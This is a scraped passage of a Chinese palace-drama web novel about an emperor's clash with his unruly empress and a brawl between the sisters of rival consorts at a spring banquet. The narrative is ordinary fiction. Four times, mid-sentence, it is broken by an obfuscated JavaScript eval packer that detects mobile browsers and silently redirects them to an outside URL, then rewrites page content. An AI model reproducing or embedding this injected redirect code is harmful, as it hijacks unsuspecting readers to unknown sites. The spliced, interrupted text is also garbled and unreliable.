皇帝不由得悲哀叹息一声,叹这黑夜里无边孤寂,更叹人生绝望,贵为帝王,仍旧身不由己。 他着了宇文宏都那老头子的套了! 夜风乍冷,轿辇颠簸,不免又让他回想起大婚那日。 真是他最不愿想起,却又总是反复想起的一天,将他折磨得死去活来。 帝后大婚,普天同庆,他和宇文海棠一同坐在长信宫挂满大红金帐的床榻上。 一幅又一幅的红帐,数不清的万福和喜字。 层层叠叠绵延过去,深似宫墙越金山。 身旁的女子红妆绮罗,一身华服,镶嵌无数宝石和珍珠的凤冠在她娇艳面庞的衬托下,都仿佛失去了颜色。 这就是他的皇后,相国府次女,宇文海棠。 珠宝的光芒黯淡了下来,他眼中的神采倒是亮了亮。 此刻他竟还在庆幸暗喜,大相国这个老奸巨猾的混蛋没有食言,真的嫁了一个绝色美人给他。 可惜他还没来得及寒暄一二,他的皇后已经一句话让他透心凉:“你盯着我干什么?把你的老脸转过去!” ??? 皇帝险些怀疑自己的耳朵:“皇后…你…” 到底是皇帝,处变不惊,稍缓片刻,他很快调整过来,大人有大量地纵她放肆一回:“听说你闺名叫海棠?果然人如其名。” 海棠微笑:“陛下不知道海棠花又叫断肠花吗?有招魂的说法呢!” 皇帝此刻感觉出不对劲了,不必招魂,她已经鬼上身了。 但他还是耐着性子循序渐进:“往日听闻你姐姐琴棋书画样样精通,不知道你平时都喜欢干什么?朕对你也不大了解,你对朕也是一样,既然都是头回见面,倒也不必句句带刺,终究已经是夫妻了,将来的路还很长。” 海棠轻笑:“那陛下就要失望了,姐姐才华出众,我却是个无能之辈,琴棋书画样样不会,也不必问我看什么书,实在抱歉,大字也识不得几个。” 皇帝眉毛拧起来,俊逸的面庞也阴冷了下来,忍到这里,他的耐心已经到极限了。 要不是刚才看她长得还算过得去,他都多余跟她废这几句话。 “你父亲没告诉你,你要做的是皇后吗?”他语气嫌恶:“你们宇文家的女儿,是这个样子?” “哪个样子?自然是好看样子了?”海棠桃花般的眼睛波光潋滟:“我爹不仅跟我说了我要做皇后,还告诉我以后我就是一人之下万人之上呢,我是皇后,我的儿子就是太子,我以后还要做太后呢!等我当了太后,我就把宇文家所有人全部提拔到朝廷里当官,我进宫之前就想好了。” “放肆!”皇帝怒拍床榻:“你疯了!真是荒唐!” 海棠也站起来:“怎么,不行啊?你不让我儿子当太子我嫁给你干嘛?你不让我当太后我做这个皇后干嘛?我说的都是大实话啊,难道你想以偏代正,宠妾灭妻吗?难怪你这么宠爱颐妃,早有这打算了是吧?” 皇帝此刻恨不得拿头撞墙,好告诉自己这一切都是一场梦。 宇文宏都,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362164|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太歹毒了!你太卑鄙了! 面前的女子还在步步逼近,喋喋不休:“我告诉你,姑奶奶这辈子就没吃过一点儿亏,嫁到你家也是一样,别以为皇家有什么了不起的,不都是一天三顿饭十二个时辰吗?高家也是草莽起家,黄土地里打下来的龙椅。” “你是皇帝我是皇后,你姓高我姓宇文,咱俩没什么不一样!别喊着祖宗规矩就想骑在我头上!” “你够了!”皇帝大怒:“你果然脑子有问题,真是疯癫了,朕是天子,真龙天子!是千秋之伟人,万民之主宰,你怎可与朕相提并论?” 海棠一甩袖子:“你是真龙天子,我还是真凤降世,万民之母呢!看到长信宫外的扁额了吗?上面写得什么字?母仪天下!我是全天下的娘!” 皇帝指着她:“你,你回去,回你宇文府去!朕要换皇后!你这无知疯癫的妇人,哪里配做皇后?” “陛下,请神容易送神难,别挣扎了,现在可没有退回去的说法了,您要换人,那就只能废后了,大婚之日就废后,国法家规允许吗?列祖列宗允许吗?” “还有,这是长信宫,是皇后寝宫,该滚的是你。” 皇帝不可思议:“你说什么?” 海棠面不改色:“我不说第二遍,不走我现在轰你。” “延庆宫的灯还没灭,现在赶去还来得及。” 皇帝仍然怀疑自己的耳朵:“你刚刚…是叫朕滚?” 海棠顺手抓起旁边的花瓶就往他身上砸:“听不懂?这下懂了吗?” 他还没反应过来,又是一连串瓷器、茶杯、果盘砸过来的声音。 那女人就跟疯了一样,月圆之夜现原形了。 冲着他声嘶力竭,发狂尖叫:“滚!滚!滚!” 最后他是在一众内监和侍卫的保护下匆匆撤退出来的。 给皇帝本就不安的内心留下一笔沉痛的阴影。 这已经不是夜叉煞星能形容的了,这根本就是鬼变得。 这失了神智了已经,没两大桶黑狗血都治不好。 第二日他确实派人送了朱砂和黑狗血去,往长信宫外墙上糊。 皇后中邪了。 不过此举又让那位刚见过一面的皇后娘娘怒发冲冠,险些火烧长信宫。 这时候皇帝已经全然明白过来了,宇文宏都那老头子着实阴险。 怪不得不把宇文兰君嫁给他,非要举荐这个二女儿。 * 颐妃住在西六宫的延庆宫,路有些远。 皇帝踏进殿门时,颐妃正在看书。 见他来了,一时有些惊喜,上前迎接,笑着行礼:“陛下万安。” 看见颐妃的脸,皇帝觉得自己头痛都好多了。 掀了袍子坐下,颐妃递上来茶来:“陛下脸色不佳,这是又动怒了?” 皇帝自嘲一笑:“是朕活该,猪油蒙了心偏要娶她宇文家女儿,还委屈了你。” 颐妃垂目一笑,温柔似一朵解语花:“臣妾从不觉得委屈,皇后也好,妃子也罢,都是陛下嫔妃,能与陛下结为夫妻,臣妾已经心满意足,不渴求其他。” 皇帝坐直身子,握住她的手:“馨儿,你再等等朕,等朕处理了宇文家,便将那泼妇乱棍打死丢出去!皇后之位朕允诺过你,绝不会食言。” 颐妃倒在皇帝怀抱里:“陛下不要许这样的诺言,陛下也从不欠臣妾什么,臣妾说了,如今的生活臣妾喜欢,不觉得委屈,您给什么,不给什么,自然都有您的道理,臣妾对您没有任何要求。” 她这样温言软语,宽慰良多,皇帝心生暖意。 幸好还有颐妃,幸好啊,不然这日子可怎么过。 真是人比人得死,货比货得扔。 宇文家那样的家风,也只能老王八蛋教出小王八蛋。 5. 第五章 翌日,海棠不出意外地又睡到日上三竿。 直到向嬷嬷来掀帐子催促她了,才懒懒散散伸个腰:“知道了~” 主子行为散漫,长信宫众人自然全都跟着懒惰懈怠。 早上点个卯,就不知道奔窜到哪瞌睡玩耍去了,要人时常常叫上半天都不见应。 长信宫可是与太极殿并肩睥睨的地方,如今却成了偷懒的好去处,哪还有半点中宫的威严。 向嬷嬷自己也有个和皇后年岁差不多的女儿,是在进宫之前与前夫所生,后来二人和离,那孩子便归了前夫家,她为谋生,先后辗转多家府邸做乳母,最后得贵人指点,进了宫里,这一晃已经快二十年了。 宫规森严,谁不是脑袋提在裤腰带上做事,而今这位新任的皇后娘娘,实与这威严宫殿格格不入。 也不知宇文家怎么想的,就把姑娘好生养在家里,将来寻个夫婿嫁了,陪上厚厚的嫁妆,保她一辈子吃喝不愁,不就够了? 何苦将她送到这风口浪尖上来,本就不是出挑的人,没有当皇后的本事,这不是害她吗? 不能怪她说话难听,就宫里这么多人明眼看过来,如今这位皇后娘娘,不说跟后面的比,后面的还不知道,就打从前面十代数起,根本没有过这样的皇后。 压根就不是这块料,就是个在家逗逗鸟,骑骑马,享享富贵的大小姐,就算坐到这个位置上,也是强捧遭天谴。 只是眼下说这些都无用了,皇后都已经在这长信宫床榻上躺了九个月了,她向嬷嬷自己也遭天谴,勤勤恳恳一辈子,最后落到这主子手里。 宫里当差的,最渴求的就是一个善终。 从前把脑袋拴在裤腰带上,往后这脑袋往哪拴还没个着落呢! 这时候春泠跑进来,对着起床洗脸的海棠道:“娘娘,太后那边请您过去呢,说是今日颐妃和韩才人都去了,太后有话要同你们说。” 海棠把棉巾摔在盆里,溅一地水,不高兴地:“哼!” 然后扭头走了,春泠跟过去,两个人凑在一块嘀嘀咕咕说了半天。 向嬷嬷又把脸皱起来,皇后娘娘跟这个从娘家带来的丫头亲近得不得了,两个人天天凑在一块咬耳朵讲小话,不知道在盘算些什么。 向嬷嬷在长信宫当着差,自然也是希望主子好的,主子好才能连带着她们一起好。 可是皇后娘娘吧,忤逆、犯上、不敬、不孝的事让她干了个遍,有时候她们这帮伺候的人想出出主意,可皇后只跟自己带过来的丫头亲热,成天嘻嘻哈哈的,也不听她们的话。 向嬷嬷心里埋怨,但最终还是认命似得跟了过去,对海棠好言相劝:“太后毕竟是太后,娘娘是晚辈,还是给她些面子吧,您顺从她一次,她也能让您清静两天,难道您又想过去年腊月那样的日子了?成天流水一样的人来训诫您?” 海棠搅着头发,满不在乎:“好啊,我倒要看看她有什么可说的。” 不用去她也知道,必定又是一连串滔滔不绝的礼仪、规矩、操守、德行。 章太后学识不高,田间地头长大的,宫里混了几十年,靠着儿子水涨船高,如今倒是张口教育闭口规训,大道理如水漫金山似的。 海棠本就起得晚,又磨磨蹭蹭的,自然最后一个到,去时颐妃和韩才人早已经在太后左右两边陪着等了许久了。 海棠飞快地欠个身,章太后都没看清她到底有没有行礼,人就已经坐下了。 太后把嘴抿紧了,就认为皇后不敬她,故意让她难堪。 便开口质问:“为何现在才来?” 海棠道:“长信宫有事耽搁了。” “狡辩!你两手一推什么不管,长信宫能有什么事?哀家看你是故意拿乔才迟迟不到,害颐妃和韩才人都在这里苦等着你。” 海棠恨极了这两个抱团欺负她的母子,只一味翻着眼睛看人:“太后老糊涂了,您又没当过皇后,自然不知道我的难处。” 太后被她气得往榻上一倒:“你…” 韩才人急忙上前扶着,不免责怪起来:“皇后娘娘,您怎可这样对太后说话?你们宇文家,就没有一点家规门风吗?” 海棠扯扯嘴角:“如今这世道皇后也是不值钱了,一个小小才人,都敢对中宫不敬,是倚着谁作威作福呢?” “再说颐妃这个大名鼎鼎的贤妃还没作声呢,韩才人你急着表现什么?” 海棠一脸无辜:“你不知道你爬上龙床,已经让颐妃和太后离心了吗?你有几条大腿能抱啊?还敢得罪本宫?” 一句话说得对面三个人一起沉默,太后和韩才人纷纷看向颐妃。 颐妃却坐得稳当,面不改色:“皇后娘娘说笑了,真是折煞臣妾,臣妾是后宫嫔妃,侍奉太后和陛下,是臣妾本份,陛下身为天子,有开枝散叶,延续祖宗基业之责,广纳嫔妃亦是情理之中,臣妾岂敢有怨言。” 海棠支着下巴看热闹:“哦,那是我小人之心了。” 说罢又拍拍自己的椅子:“你是块当皇后的料,我却不是,可惜为什么最后是我坐在这儿呢,这全仰仗太后娘娘恩典啊!” 她看向颐妃:“你要恨就恨太后,别恨我,我是冤枉的。” 又瞪一眼韩才人:“看什么?看也没你的份!再轮几个来回也轮不到你头上!” 韩才人将脖子缩回去,太后已然气得直翻白眼。 这分明就是故意来搅局的,她连夜准备的前朝后宫各种贤妃事迹还没用上,对方连开口的机会都不给她。 太后已将原本的事忘在脑后,只顾厉声斥责:“皇后!哀家本怜你少不经事,有意培养教导,你却不识好人心,你看看你从头到脚哪有一点皇后样子!简直与市井村妇无异!不忠不贤不敬不孝,怎么教你都死不悔改!” 她尤不解气:“从前大相国丧妻鳏居时,哀家就提过为他赐婚续娶,是他自己不愿,瞧瞧把你们都教成什么样子了,没娘的孩子能成人吗?也怪你母亲走得早,才让你宇文家的孩子都这样少教!” “你说什么?”海棠的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362165|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神直凛凛看过去:“没娘的孩子怎么了?宇文家的孩子怎么了?” 她一发脾气就摔东砸西,这是小时候在宇文家养成得顶顶不好的习惯。 本想忍一忍,到底没忍住,桌子她掀不动,便一手把身侧放茶水的小几掀了:“皇帝没爹,我没娘,不是正好?谁也别嫌弃谁了!” “你你你...”太后吓到失语,左右两旁的宫女和韩才人已经抢先护在面前:“太后娘娘您没事吧?” 太后怒极,声音颤抖:“冤孽冤孽,真是没了天理了!定是有妖孽要祸我大周朝政,才派下这孽障来作怪!” 太安宫满地污糟,一片混乱。 太后受了惊吓,韩才人又在旁边大惊小怪:“太医!传太医!” 颐妃敌不动我不动的,坐如泰山,甚至有些想笑。 海棠甩手走人,临走还特意看她一眼:“你想笑就直接笑,偷笑算什么能耐?” 颐妃垂目:“臣妾惶恐,臣妾不敢。” 海棠居高临下,连打量带白眼,然后冷哼一声,不屑一顾地走了。 她一走,太安宫大戏散场,颐妃没一会也跟着前后脚出来了。 两拨人在角亭处分开。 海棠突然驻足,喊了一句:“颐妃妹妹。” 颐妃停下脚步,回身微笑:“娘娘何事?” 海棠向她走来:“颐妃当真是贤惠呢,对着韩才人都能面不改色,太后明着寒你的心,你也不生气?” 颐妃回道:“娘娘说笑,身为后宫嫔妃,臣妾只记得自己的职责本分,不敢多想。” 海棠笑出声:“你是不是只编了一段话,对谁都一个说辞?” “不过,你真的这么想吗?那你上次在琼园,为什么跟陛下说,来世愿投入寻常百姓家,一生一世一双人呢?” 颐妃动作顿了顿,眼中才终于闪过一丝惊讶。 海棠挑眉:“别这样看着我,我只是碰巧在假山后面,不小心听到了而已,我可没有听墙角的习惯,不过要不是听到这句话,我还真以为你是贤德无量,无欲无求的女菩萨呢!其实也是有私心的吧,妹妹,这样不累吗?” “可惜没人心疼你啊,你付出这么多,让出皇后之位,都觉得你是应该的,你就不寒心吗?” 颐妃面色不改,仍带笑意,恭敬道:“都说皇后娘娘跋扈乖张,纨绔愚钝,可是依臣妾之见,您是七巧玲珑心呢,只是您忘了,臣妾与您不同,您身后有宇文家,还有位列相国的父亲和战功赫赫的哥哥,而我杨家却并不显赫,臣妾既为宫妃,生死荣辱全仰仗陛下一人,您这攻心之计,实在用错人了。” 海棠嗔怪道:“哦,我才关心你两句,你就说我是攻心之计,戒心这么重,还怎么一起玩?” 颐妃欠身相送:“娘娘的玩法太大,臣妾玩不起,您还是自己玩吧,而且臣妾从小就喜欢读书,不喜欢玩。” 海棠冷哼一声,像那无计可施的小人,摆出倨傲姿态:“这么爱读书啊?那多读点,早日中状元。” 6. 第六章 相国府 兰君和嘉宁在院中下棋,廊下挂着的鸟雀吱吱乱叫。 嘉宁脑子一团浆糊,下输了便赖这鸟:“都怪这些鸟儿乱叫扰我心绪,不然怎么会这么快输掉。” 说罢嘟起嘴:“姐姐明知道我水平不行,也不让让我。” 兰君也不恼,自顾自收棋子,提起定国公府的春宴:“下旬徐家要开春宴,已经给我下了帖子,你去不去?” 嘉宁一听能出去玩,立刻变了笑脸:“好呀好呀,有得玩我当然去了。” 不过提到定国公府徐家,就不免对她那位未来姐夫有些不满意:“真不明白爹爹怎么想的,怎么就相中徐家了?徐家那世子爷就是个书呆子嘛,上回来咱家送节礼,在爹爹面前说话还磕绊呢,比起咱家哥哥可差远了,也配不上姐姐你,他能把你娶回去真是祖上烧了高香!” 兰君训斥:“不要胡说,徐家堂堂国公府,哪里配不上咱家了?跟你说过多少次了,为人处事需得谦逊,不要这样不知天高地厚。” 又提醒道:“我是看你最近用功,才带你出去透透气,外面人多口杂不比家里,管住你的嘴听到没?要是乱说话,下次再不带你了。” 嘉宁埋头应声:“知道喽!” 虽说被姐姐训了一顿,但春宴好玩啊,年年各府办春宴的时候都很热闹,男男女女一大堆,又有各种投壶、射箭、风筝、蹴鞠、划船的游戏。 嘉宁喜欢热闹,也爱美,想到自己的小姐妹们肯定都打扮得光鲜靓丽,还特意新裁了一块桃红的亮色料子做了一身新衣裙。 到了宴席这日,早早起来梳妆,又是擦粉又是戴花,打扮了好一阵子才满意地出门。 春宴上女孩子们都要比美的,人面桃花相映红,这也是宴席的一部分。 嘉宁跟着兰君乘马车至定国公府,徐家大房二房两位夫人正在门口迎客。 大房的夫人便是兰君未来的婆母,世子爷徐威的母亲。 兰君款款下车,向徐夫人见礼问安,嘉宁紧随其后。 徐夫人对兰君十分喜欢,忙上前迎接,笑着道:“好孩子,快别客气,去里面玩吧,威儿也在呢!” 兰君的贤惠和才华在京中都是出名的,贵族子弟中哪家的孩子品行出挑,各门各户心里清楚,这些优秀的子弟也一向是被争抢的对象,谁家不想讨个好媳妇好女婿呢? 宇文家的二女儿做了皇后,徐家和宇文家沾上姻亲,高低也算是皇亲国戚了。 况且兰君的为人远胜她做皇后的妹妹,脾气也好,徐夫人怎能不满意? 徐夫人看兰君如看心爱的一枝花,也顺道夸了夸嘉宁:“兰儿这样温柔端庄,我们家威儿实在好福气,我这做娘的都要羡慕这小子了,宁儿也是眼见着长大了,出落得亭亭玉立,赶明儿婶娘也定要给你挑个好夫婿!” 嘉宁顺着话道:“那我还要拜托婶娘操心呢!” 徐夫人又向兰君问起长兄宇文靖霆,兰君回道:“巴蜀战况激烈,具体的也不得知,不过听说为首的反贼已经伏诛,想必其他流寇之辈很快就能平息了。” 说罢又感怀:“蜀地凶险,不求有功,但求无过,只愿哥哥能平安归来。” 徐夫人拍拍她的手:“靖霆是朝堂股肱,此番平乱更是立下大功,他那般神勇,哪有他办不成的事?你放心,定会无虞的。” 旁边的二房夫人也上前寒暄两句,而后陆陆续续来了不少人,兰君和嘉宁入内前往后花园。 宇文家的女儿尽是美人,兰君端庄高雅,气质超然,嘉宁粉面桃花,笑靥清甜,挽着姐姐一路走来,吸引不少人驻足张望。 便有人问起来:“那是宇文家的小姐吗?” “是呢,蓝衣那位是大小姐,桃红衣裳的是三小姐。” “大小姐就是许给定国府那个吧?” “是的呢,你瞧,她挺好看的吧?” 亭下站着兵部郎中和太常寺卿家的女儿,这两家门第并不算高,融入不进公侯伯爵的子弟中去,便凑在一起闲聊两句。 借这场宴席的机会,适龄的男女多少都存了些心思,每年不就是靠这些春宴秋宴的时候吗? 只是低得瞧不上,高得又攀不上,心里有点不是滋味,难免要多议论旁人几句。 见人走远了,这太常寺卿家的女儿才敢放开声音:“相国府的小姐们确实出挑,大小姐许给国公府了,二小姐做了皇后,如今也就这位三小姐没着落了,也不知道最后会花落谁家。” 兵部郎中家的女儿跟着道:“宇文家女儿美貌,京中谁人不知,据说宇文皇后更是绝色姿容呢,只是为人不贤,品行不端,这才让杨家的女儿比了下去,说起来,颐妃的妹妹今日也来赴宴了呢!” 说着便用扇掩面,偷偷笑了声:“这要是碰上,那可热闹了,也不知是皇后的妹妹厉害,还是杨妃的妹妹厉害。” 她这边乌鸦嘴话音刚落,另一边进了园子,兰君和嘉宁就与宣平侯府的二小姐杨萱碰了个正着。 杨萱是颐妃一母同胞的亲妹妹,和嘉宁同岁,与颐妃温柔婉约的气质不同,这杨二小姐光从面相上看就是个不好惹的,大抵各家的妹妹们自小都更骄纵倨傲些。 嘉宁和她曾同在竹贤书院受女师黄真教导,两人从同窗时便互相看不顺眼,如今她们的姐姐嫁了同一位丈夫,那更是有你没我仇深似海的敌对关系了。 因此看到嘉宁,杨萱便没什么好脸色,连带着对兰君也斜视打量一番。 见面就如此挑衅,嘉宁自然不可能好言好语:“杨萱,你这是什么态度?看到我姐姐,也不问好,瞪着眼睛看什么?” 杨萱鼻子里哼出一声:“我看什么还要跟你汇报吗,反正又没看你。” 又扫视嘉宁两眼:“以前在书院,黄教习就说你举止粗狂,没想到现在你还是这个样子,一点没改,真是辜负恩师教导。” 嘉宁笑了:“你少在外打着教习的名义胡乱说话,败坏教习名声,我们俩究竟是谁在辜负恩师?” 杨萱冷笑一声:“宇文嘉宁,你们家果然是门风如此,一脉传承,一样的跋扈高傲,一样的狂妄自大。” 嘉宁面露嘲讽:“你少在这阴阳怪气,别以为我不知道你说话夹枪带棒的,不就是因为我姐姐做了皇后,你姐姐做了妃子,你心里一直记恨着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362166|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?但这是圣旨天意,你姐姐就没有母仪天下的命,你闹脾气也没用,你冲我甩脸子,能把你姐姐的皇后之位抢回来吗?” “嘉宁!”兰君出言阻止,这孩子怎么回事,怎么能说出这种讥讽之言来。 杨萱敛去笑容,脸色阴沉下来,气得两手攥紧:“宇文嘉宁,你别得意!要不是我姐姐贤良大度,让出皇后之位,怎么会轮到你姐姐做皇后?你姐姐的恶劣不端满朝皆知,凭她的品行哪里配做皇后?是你姐姐抢了我姐姐的位置,你少在这得了便宜还卖乖!” 嘉宁拔高声音:“那你倒是叫你姐姐别让啊,谁想占你这个便宜了,你以为我姐姐想做这个皇后吗?是陛下和太后下旨立她为后的,你找找你们杨家自己的原因吧,别成天装怨妇了!” 心里还不解气,又追着喊了一句:“我姐姐是正宫皇后,你姐姐不过是个妃妾,你有什么资格在这叫嚣,还敢指责我姐姐品行,你知不知道诋毁当朝皇后,是大不敬的死罪!” 这句话彻底惹恼了杨萱,她气急败坏冲上去和嘉宁缠打在一起:“你这个小偷!你姐姐抢了我姐姐的位置,你们宇文家全都是小偷!我大不敬,那你让陛下和太后治我的罪好了,你看看他们会不会向着你家!” 嘉宁火冒三十丈:“你既然敢说这话,那你怎么不去陛下和太后面前为你姐姐争个公道?难不成我姐姐的皇后是自己封的吗?你这么替你姐姐委屈,你倒是去御前为她喊喊冤呐!你敢吗你?” 两个人扯在一起竟动起手来,兰君又着急又劝不住,旁边三四个婢女急得团团转也没拉开。 最后还是定国公府徐夫人和枢密院尚书令卜瀚文之母卜夫人一同过来打圆场,费力将二人拉开了。 这一场闹剧,引得旁边围了一圈人议论观看。 徐夫人将嘉宁拉在一旁低声说话,卜夫人将杨萱拉在一旁柔声劝慰。 兰君的未婚夫徐威得到消息,也着急忙慌从男席跑了过来:“二位妹妹别生气,别生气嘛,都是来游园赏玩的,别坏了兴致。” 徐威人笨笨的,两下张望见没人理他,竟不知不觉站到杨萱旁边去了,愣愣伸个头望着。 两边分别哄着劝着,把衣乱鬓松的嘉宁和杨萱带去厢房梳洗。 嘉宁气冲冲理着自己的衣裳,忍不住埋怨:“今天真晦气,碰到那个丧门星!” “嗯?”兰君又蹙起眉:“女孩子别说这样难听的话,今日你二人要是各退一步,哪会有这样的事?惹得一群人来看笑话。” 说罢又无奈摇摇头:“杨家那个女孩儿也是的,牙尖嘴利,半点不饶人。” 嘉宁委屈得很,愤愤不平:“明明是她先撩架的,从前她就是这样,在教习面前装乖巧,背后欺负人,你说我能让着她吗?人善被人欺,马善被人骑,我能让她骑吗?” “姐姐你那未婚夫也跟呆子一样,不帮着自家小姨子,倒站在杨家那边,他居心何在?我们宇文家跟杨家真是天生的对头,我二姐夫向着杨家也就算了,杨家毕竟嫁个女儿给他,怎么我大姐夫也向着杨家?她们家就那么好?” 兰君催促:“别胡说八道了,赶快梳洗吧!” 7. 第七章 有幸赶上一场大戏,这场春宴此时才算是真正热闹起来了。 徐夫人心有戚戚焉,卜瀚文的母亲卜夫人与她相交颇深,不免提起:“今日这两家的小姐也太过了些,竟当着面就砸起场子来了,两个人打得凶神恶煞,真是活如夜叉,看着都怕人,真不知道以后谁家倒了霉去讨她们两个做媳妇。” 徐夫人虽然心里也不高兴,但相国府位高权重,只有他们攀附的份,哪有嫌弃的份,杨家的女儿如今正得宠,也不好说些什么。 只能叹声气打圆场:“罢了,都是孩子,跟她们计较什么,到底年轻,不够稳重,所幸我家讨得是兰君这个媳妇,她总归是个听话乖顺的,旁人闹就闹吧,反正也不进我家门。” 卜夫人便道:“早就听我儿瀚文提过,宇文皇后很是凶悍,不想她妹妹也是如此,这么看来宇文家这三位小姐,竟也就兰君一人好些,堂堂相国府也不知是怎么教养女儿的。” 又道:“宇文家便也罢了,都说颐妃娘娘端庄识大体,怎么她的妹妹也这般悍妇?杨家倒是只教大的不教小的了?” 卜夫人滔滔不绝,她的儿子是御前新贵,天子宠臣,连带着卜家满门水涨船高。 若是以前,卜家这样没根基的门户,放在徐家面前是看都不会看的。 奈何徐家早已不再辉煌了,对于咄咄逼人的卜夫人,徐夫人也只能说一句:“皇家后院的事,谁知道呢,咱们还是别多说了,免得叫人拿住话柄。” 听她这样说,卜夫人自然缄口,不过今日这场哄堂闹剧,都不用嘱咐的,明日保准儿整个京中都知道了。 好事不出门,坏事传千里,来赴宴的人都是长了嘴的,好容易赶上一场热闹还不回去紧着说去? 待宴席散后,卜夫人回了自己府中,正好儿子下值回来。 她喝口茶,忙不迭就上前告诉卜瀚文今日席上皇后妹妹和颐妃妹妹当场打起来的事,描绘得手舞足蹈:“我在席上顾着徐家面子没好多说,你是不知道那两个泼皮有多可笑,打得发钗都扯掉了,六个仆妇都没拉开,旁边围起来看戏的起码三四十人,还世家大族,还百年门第呢,笑掉大牙了!” 说罢发出一声感慨:“那宇文家三小姐,和她那皇后姐姐真是如出一辙,那杨家二小姐,竟也一样不成器,远远比不上她姐姐,真是龙生九子,各个不同。” 又不忘提点:“我的儿,如今你有出息,得陛下赏识,前途无量,以后可得擦亮眼睛,需得匹配一个门第高贵,端庄贤良的,帮你操持内外,振兴家门。” 卜夫人环顾四周,今日家中种种荣光,全仰仗儿子出息。 卜家上一代不过寒门秀才,教书为生,若非有她瀚文高中探花,卜家焉能有今日富贵。 从前她受尽丈夫冷眼和婆母羞辱,如今母凭子贵,卜家摇身一变成了京都炙手可热的新贵门第,她也能与那些侯爵夫人们谈笑风生平起平坐了,自去年她那杀千刀的夫君一病死了,她婆母便成了没牙的狗,再不敢多叫一句,如今家中上上下下她说东没人敢说西。 如今只盼她儿瀚文能平步青云,一生顺遂。 对于儿子姻缘,卜夫人难免自豪:“要我说,以我儿品貌,公主都配得。” 卜瀚文表情复杂,看了她一眼:“母亲,我告诫过你多少次,休要胡言乱语,我得罪人多,仕途本就坎坷,你就别再害我了,宇文家和杨家的争执与我们何关?皇后的妹子和颐妃的妹子是我们能议论的吗?” “尚公主之事更是提都不要再提,若被旁人听去,以此事弹劾我非议皇室,觊觎公主,我就百口难辩了。” 卜夫人乍舌,忙道:“娘知道娘知道,这不是在家里咱们母子俩谈谈心嘛,在外面我怎么敢说这样的话呢?” “在家里也不要说,”卜瀚文再三提醒:“在哪里都不要说。” * 说来也是巧,宫中章太后这几日正寻思为公主们请位师傅讲学授课。 宫里如今还有三位尚未婚嫁的公主,最大的福真公主十六岁,是已故卢太妃的女儿,一直养在章太后膝下,另两位福安公主和福康公主都才十四岁,是太嫔刘氏在先帝末年诞下的一对双生女。 章太后没有女儿,对几位公主向来宽厚,从前公主们的课业一直由司仪局女官姜大人和国子监典正方大人二位教导。 如今方典正母亲病重,告假月余,章太后询问公主们意见,是否愿意请其他师父暂代些时日,朝中人才济济,教几个女孩儿不过轻而易举的事,况且多学多问,方能兼济融通。 公主们自然乐意,太后问她们可有推荐人选,三人竟讲出同一个名字。 是了,如今除了枢密院尚书令卜瀚文大人,还有比他更炙手可热的人才吗? 不仅学富五车,博古通今,更是青年才俊,玉树临风,方大人朽木老头一个,姜大人素来严厉刁钻,趁此机会谁不想换个新鲜,能得郎君指点一二,也是美事。 公主们想法一致,尤其福真公主格外热情,极力促成,章太后倒没想到那么多,只是认为卜瀚文能力出众。 不过还是稍显犹豫:“前朝诸事繁多,卜尚书位高责重,不知道愿不愿意抽出时间指点指点你们几个小丫头。” 福真公主靠着章太后,含笑道:“母后大可先去问问,若是卜大人公务繁忙,再请其他人也无妨嘛!” 章太后命人传话下去,宫中旨意,太后恩典,卜瀚文哪敢拒绝,只得殷勤应下。 卜夫人得知此事后,更是高兴得合不拢嘴:“瞧瞧,我说什么来着,太后若不是属意选你为婿,怎会叫你去宫中给公主们授课?朝中那么多人,怎就偏偏叫你去?这明摆着是有意撮合你和公主,想来如今年龄合适的也只有福真公主了,是不是…” 卜瀚文被她说得一个头两个大:“母亲,太后让我去授课,是因为方大人告假了,并无其他意思,你就不要再想入非非了,况且福真公主与我相差九岁,她应当选一个更年轻的儿郎,我一心效忠陛下,你别再打这些主意。” 卜夫人不满:“哪里相差九岁,不过八岁多几个月而已,你这么出众优秀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362167|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 